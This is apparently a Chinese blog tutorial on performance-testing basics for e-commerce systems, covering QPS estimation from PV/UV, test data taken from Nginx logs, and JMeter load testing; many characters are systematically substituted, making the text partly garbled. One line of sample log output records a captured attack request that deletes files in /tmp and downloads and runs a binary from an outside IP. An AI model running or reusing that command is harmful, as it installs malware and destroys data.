关于软件测试:软件测试-电商业务的性能测试一-必备基础知识

51次阅读

共计 2884 个字符,预计需要花费 8 分钟才能阅读完成。

​ 

​编辑

1.1 测试步骤总览

需要剖析与测试设计(性能需求指标 + 业务模型拆解)

测试数据筹备和结构(基于模型的数据筹备)

性能指标预期(性能需求指标)

发压工具配置及脚本编写(压力策略)

测试过程(预计的前置筹备过程和压测工夫点布局)

后果剖析与测试报告

1.2 测试模型剖析

如下的测试模型来简略的阐明测试中须要关注的点和测试的目标

​编辑

字段阐明

1、横轴 : 代表并发数,也就对应着 Jmeter 外面的线程数

2、Utizilation(U) : 资源利用率

3、Throughput(X): 吞吐量,对应 QPS 或 TPS

4、ResponseTime®:响应工夫

拐点 剖析:

第一条虚线处的拐点代表着随着并发数的减少,资源利用率 (CPU 资源等) 和吞吐量也在随同着递增,这个时候咱们的响应工夫有小幅度的减少,然而在可承受的范畴之内;在这个点是做容量布局最好的参考点

第二条虚线处的拐点示意随着并发数的持续减少,系统资源曾经达到了瓶颈,吞吐量开始显著降落,响应工夫会大幅减少,也就是说曾经达到了性能的瓶颈,申请队列开始挤压,这个时候曾经重大影响用户体验或者有零碎解体的危险。

​编辑

2.1 需要剖析与测试设计

此处从性能需求指标与业务模型拆解两方面着手,

1、指标场景分类:


新上线零碎性能测试:要求容量测试,零碎最大容量


系统升级类性能测试:和基线版本比照,性能不降落


新零碎性能优化测试:随同调优指标的性能测试



注:在前面的演示中,会以新零碎上线的容量测试为例,指标为获取零碎最大容量

字段阐明:基准测试:见下图,我的了解就是性能测试,找到最优的 QPS(TPS)点

​编辑

容量测试:见下图,我的了解为压力测试,在达到性能瓶颈后持续加压,测试零碎的最大承载量

​编辑

新零碎想要确定测试基准,就须要拿到数据,而产品个别是不会间接通知咱们 QPS 的,产品会通知咱们 PV/UV 天。

依据 PV、UV 再联合业务场景来计算确认咱们的测试需要;将其转化为小时或分钟,或秒;另外业务场景可能会几种在某个时间段,比方工作日的 8 个小时工夫:

UV:或者外卖产品则集中在午饭和晚饭的 2 个小时时间段,如果 UV 为 1000w/ 天,那么顶峰时段占了总用户数的 80%:

1000w 80% / (43600) = 每秒的并发用户数

PV:PV 能够间接对应到 QPS 指标,好比一个电商产品,产品别离给出了首页、商品页、订单页的 PV,便可依此来进行性能测试的基准设计。如果粗略的按 24 小时算 QPS 的话就是 QPS = PV(天)/24/3600

2、依据具体的性能测试需要,确定测试类型以及压测的模块(web/mysql/redis/ 零碎整体)

3、后期要与相干人员充沛沟通,初步确定压测计划及具体性能指标

4、QA 实现性能测试设计后,需产出测试计划文档发送邮件到项目组,并且再次与相干人员沟通(或者组织性能测试评审),确认是否满足需要

2.2、测试数据筹备和结构

数据的筹备能够如下几点:

1、接口申请参数:本人结构、日志获取、高低关联


本人结构  :本人抓包等,这个有个问题就是后端可能有缓存而造成对理论压力水平的影响


日志获取:举荐罕用,通过日志或数据库获取大批量的数据而后打散


例如,咱们的申请是通过 Nginx 转发的,那么能够通过 Nginx 的日志来获取申请数据, 现有如下的 log:

​编辑

当初咱们能够利用 Linux 三剑客中的 awk 命令配合上排序的 shell 命令对 log 进行提取过滤, 找出访问量最高的申请:

$ cat access.log | awk ‘{print $7}’ | sort | uniq -c | sort -nr | head -15

4709 /sso/register

4703 /sso/login

157 400

139 /

8 http://www.baidu.com/cache/gl…

5 /index.php

4 mstshash=Administr”

4 /license.txt

4 ip.ws.126.net:443

4 “

2 /sso/getAuthCode?telephone=17138134641

2 /sso/getAuthCode?telephone=17127460936

2 /shell?cd+/tmp;+rm+-rf+*;+wget+http://45.148.10.194/arm7;+chmod+777+arm7;+./arm7+rep.arm7


高低关联:

有些数据咱们是无奈提前获取的,好比用户的订单数据和购物车数据,这些须要用户下单后生成,因而就须要在下单接口后通过高低关联的接口返回值来获取

2、数据表的数据填充:

能够利用 jmeter 的高并发通过接口来提前创立数据

3、如果是多接口,则须要联合业务场景设计申请比例:

比方用户浏览主页的 PV 和浏览商户的比例为 1:2,那么接口的比例设计也就依照 1:2 来设计。

2.3、性能指标预期


1. 每秒申请数(QPS)2. 申请响应工夫(最大,最小,平均值)3. 错误率


4. 机器性能:cpu idel30%,memory 无激烈抖动或飙升


5. 压测过程接口性能是否失常


6. 不同性能测试形式下指标预期是否有差别


2.4、发压工具配置及脚本编写

1. 发压工具筹备 -jmeter 简介(1) 集成包,解压即可应用,Windowns, Linux, Mac 通用(依赖 Java 环境)(2) jmx 文件为 xml 文件,Win,Linux 环境均可运行(3) 多线程并发(4) 运行完脚本会生成 jtl 日志,可在 Win、Mac 环境界面中查看、统计

应用 jmeter 能够做到:


压测场景  :单接口 / 复杂事物——> 场景结构


压力需要 &nbsp;:<1000QPS&nbsp; 或者万级以上的应用 Jmeter&nbsp; 分布式反对的形式


是否周期性 &nbsp;:Jmeter jmx 场景文件,数据驱动,后果落库


二次开发需要 &nbsp;:Jmeter 开源插件化思维,反对 Thrift


协定反对 &nbsp;:Dubbo 等多种协定,能够疾速平台化


问题反对 &nbsp;:凋谢社区,宽泛应用


2. 脚本编写

(1) HTTP

(2) 其余

3. 命令启动,Jmeter 自身也是软件,也有本人的承载限度,所以真正测试过程还是要以命令行运行的形式,UI 能够作为编写和调试脚本应用

启压:./jmeter -n -t hb.jmx-l hb.jtl

2.5 测试过程


1、测试前环境查看:记录机器参数


2、起压:依据被压状况,调节并发量到适合状况


3、查看记录各项性能指标 nginx&nbsp; 日志查看每秒申请数查看 nginx&nbsp; 谬误申请查看机器参数:cpu&nbsp;idel、mem&nbsp; 等查看 db&nbsp;、cache&nbsp; 等数据是否写入失常拜访接口,查看性能是否失常


2.6 后果剖析与测试报告

1、依据测试过程中记录的各项参数,联合压测工具产生的日志,对测试后果进行剖析,并产出测试报告

2、测试实现后,及时与相干人员沟通,确认是都满足需要

3、发送测试报告邮件

以上只是做了个性能测试的基础知识铺垫,后续在此实践根底上,以电商业务为背景,联合 Docker +Jmeter +Influx +Grafana 实现一个实例压测与监控~

正文完
 0